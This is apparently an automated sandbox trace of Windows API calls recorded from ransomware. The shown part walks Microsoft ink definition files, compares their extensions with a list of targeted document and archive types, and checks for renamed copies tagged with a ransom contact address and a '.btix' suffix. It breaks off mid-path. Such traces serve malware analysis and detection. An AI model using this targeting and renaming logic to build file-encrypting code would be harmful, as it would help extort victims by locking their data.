[0046.188] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0046.188] lstrlenW (lpString=".pdf") returned 4 [0046.188] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString=".xls") returned 4 [0046.188] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString=".xlsx") returned 5 [0046.188] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0046.188] lstrlenW (lpString=".ppt") returned 4 [0046.188] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.188] lstrlenW (lpString=".zip") returned 4 [0046.188] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.188] lstrlenW (lpString=".rar") returned 4 [0046.188] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.189] lstrlenW (lpString=".bz2") returned 4 [0046.189] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.189] lstrlenW (lpString=".7z") returned 3 [0046.189] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.189] lstrlenW (lpString=".dbf") returned 4 [0046.189] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.189] lstrlenW (lpString=".1cd") returned 4 [0046.189] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0046.189] lstrlenW (lpString=".jpg") returned 4 [0046.189] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.189] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.189] lstrlenW (lpString="base_altgr.xml") returned 14 [0046.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.231] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3524) returned 1 [0046.231] CloseHandle (hObject=0x37c) returned 1 [0046.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0046.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.231] lstrlenW (lpString=".doc") returned 4 [0046.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.231] lstrlenW (lpString=".docx") returned 5 [0046.231] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0046.231] lstrlenW (lpString=".pdf") returned 4 [0046.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.231] lstrlenW (lpString=".xls") returned 4 [0046.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.231] lstrlenW (lpString=".xlsx") returned 5 [0046.231] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0046.231] lstrlenW (lpString=".ppt") returned 4 [0046.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.232] lstrlenW (lpString=".zip") returned 4 [0046.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.232] lstrlenW (lpString=".rar") returned 4 [0046.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString=".bz2") returned 4 [0046.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString=".7z") returned 3 [0046.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.232] lstrlenW (lpString=".dbf") returned 4 [0046.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.232] lstrlenW (lpString=".1cd") returned 4 [0046.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.232] lstrlenW (lpString=".jpg") returned 4 [0046.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.232] lstrlenW (lpString=".doc") returned 4 [0046.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString=".docx") returned 5 [0046.232] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0046.232] lstrlenW (lpString=".pdf") returned 4 [0046.232] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString=".xls") returned 4 [0046.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.232] lstrlenW (lpString=".xlsx") returned 5 [0046.233] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0046.233] lstrlenW (lpString=".ppt") returned 4 [0046.233] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.233] lstrlenW (lpString=".zip") returned 4 [0046.233] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.233] lstrlenW (lpString=".rar") returned 4 [0046.233] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.233] lstrlenW (lpString=".bz2") returned 4 [0046.233] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.233] lstrlenW (lpString=".7z") returned 3 [0046.233] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.233] lstrlenW (lpString=".dbf") returned 4 [0046.233] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.233] lstrlenW (lpString=".1cd") returned 4 [0046.233] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0046.233] lstrlenW (lpString=".jpg") returned 4 [0046.233] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.233] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.233] lstrlenW (lpString="base_jpn.xml") returned 12 [0046.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.235] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=804) returned 1 [0046.235] CloseHandle (hObject=0x37c) returned 1 [0046.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0046.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.235] lstrlenW (lpString=".doc") returned 4 [0046.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.235] lstrlenW (lpString=".docx") returned 5 [0046.235] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0046.235] lstrlenW (lpString=".pdf") returned 4 [0046.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString=".xls") returned 4 [0046.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString=".xlsx") returned 5 [0046.236] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0046.236] lstrlenW (lpString=".ppt") returned 4 [0046.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.236] lstrlenW (lpString=".zip") returned 4 [0046.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.236] lstrlenW (lpString=".rar") returned 4 [0046.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString=".bz2") returned 4 [0046.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString=".7z") returned 3 [0046.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.236] lstrlenW (lpString=".dbf") returned 4 [0046.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.236] lstrlenW (lpString=".1cd") returned 4 [0046.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.236] lstrlenW (lpString=".jpg") returned 4 [0046.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.236] lstrlenW (lpString=".doc") returned 4 [0046.236] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString=".docx") returned 5 [0046.236] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0046.236] lstrlenW (lpString=".pdf") returned 4 [0046.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.236] lstrlenW (lpString=".xls") returned 4 [0046.237] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.237] lstrlenW (lpString=".xlsx") returned 5 [0046.237] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0046.237] lstrlenW (lpString=".ppt") returned 4 [0046.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.237] lstrlenW (lpString=".zip") returned 4 [0046.237] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.237] lstrlenW (lpString=".rar") returned 4 [0046.237] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.237] lstrlenW (lpString=".bz2") returned 4 [0046.237] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.237] lstrlenW (lpString=".7z") returned 3 [0046.237] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.237] lstrlenW (lpString=".dbf") returned 4 [0046.237] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.237] lstrlenW (lpString=".1cd") returned 4 [0046.237] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0046.237] lstrlenW (lpString=".jpg") returned 4 [0046.237] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.237] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.237] lstrlenW (lpString="base_rtl.xml") returned 12 [0046.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.238] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=617) returned 1 [0046.238] CloseHandle (hObject=0x37c) returned 1 [0046.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0046.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.238] lstrlenW (lpString=".doc") returned 4 [0046.238] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.238] lstrlenW (lpString=".docx") returned 5 [0046.238] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0046.238] lstrlenW (lpString=".pdf") returned 4 [0046.238] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.238] lstrlenW (lpString=".xls") returned 4 [0046.238] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.238] lstrlenW (lpString=".xlsx") returned 5 [0046.238] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0046.238] lstrlenW (lpString=".ppt") returned 4 [0046.238] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.239] lstrlenW (lpString=".zip") returned 4 [0046.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.239] lstrlenW (lpString=".rar") returned 4 [0046.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString=".bz2") returned 4 [0046.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString=".7z") returned 3 [0046.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.239] lstrlenW (lpString=".dbf") returned 4 [0046.239] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.239] lstrlenW (lpString=".1cd") returned 4 [0046.239] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.239] lstrlenW (lpString=".jpg") returned 4 [0046.239] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.239] lstrlenW (lpString=".doc") returned 4 [0046.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString=".docx") returned 5 [0046.239] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0046.239] lstrlenW (lpString=".pdf") returned 4 [0046.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString=".xls") returned 4 [0046.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.239] lstrlenW (lpString=".xlsx") returned 5 [0046.239] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0046.240] lstrlenW (lpString=".ppt") returned 4 [0046.240] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.240] lstrlenW (lpString=".zip") returned 4 [0046.240] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.240] lstrlenW (lpString=".rar") returned 4 [0046.240] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.240] lstrlenW (lpString=".bz2") returned 4 [0046.240] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.240] lstrlenW (lpString=".7z") returned 3 [0046.240] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.240] lstrlenW (lpString=".dbf") returned 4 [0046.240] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.240] lstrlenW (lpString=".1cd") returned 4 [0046.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0046.240] lstrlenW (lpString=".jpg") returned 4 [0046.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.240] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.240] lstrlenW (lpString="ja-jp.xml") returned 9 [0046.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.241] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=16616) returned 1 [0046.241] CloseHandle (hObject=0x37c) returned 1 [0046.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0046.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.241] lstrlenW (lpString=".doc") returned 4 [0046.241] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.241] lstrlenW (lpString=".docx") returned 5 [0046.241] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.241] lstrlenW (lpString=".pdf") returned 4 [0046.241] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.241] lstrlenW (lpString=".xls") returned 4 [0046.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.241] lstrlenW (lpString=".xlsx") returned 5 [0046.241] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.241] lstrlenW (lpString=".ppt") returned 4 [0046.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.241] lstrlenW (lpString=".zip") returned 4 [0046.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.242] lstrlenW (lpString=".rar") returned 4 [0046.242] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString=".bz2") returned 4 [0046.242] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString=".7z") returned 3 [0046.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.242] lstrlenW (lpString=".dbf") returned 4 [0046.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.242] lstrlenW (lpString=".1cd") returned 4 [0046.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.242] lstrlenW (lpString=".jpg") returned 4 [0046.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.242] lstrlenW (lpString=".doc") returned 4 [0046.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString=".docx") returned 5 [0046.242] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.242] lstrlenW (lpString=".pdf") returned 4 [0046.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString=".xls") returned 4 [0046.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString=".xlsx") returned 5 [0046.242] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.242] lstrlenW (lpString=".ppt") returned 4 [0046.242] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.243] lstrlenW (lpString=".zip") returned 4 [0046.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.243] lstrlenW (lpString=".rar") returned 4 [0046.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString=".bz2") returned 4 [0046.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString=".7z") returned 3 [0046.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.243] lstrlenW (lpString=".dbf") returned 4 [0046.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.243] lstrlenW (lpString=".1cd") returned 4 [0046.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0046.243] lstrlenW (lpString=".jpg") returned 4 [0046.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.243] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.243] lstrlenW (lpString="zh-changjei.xml") returned 15 [0046.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft 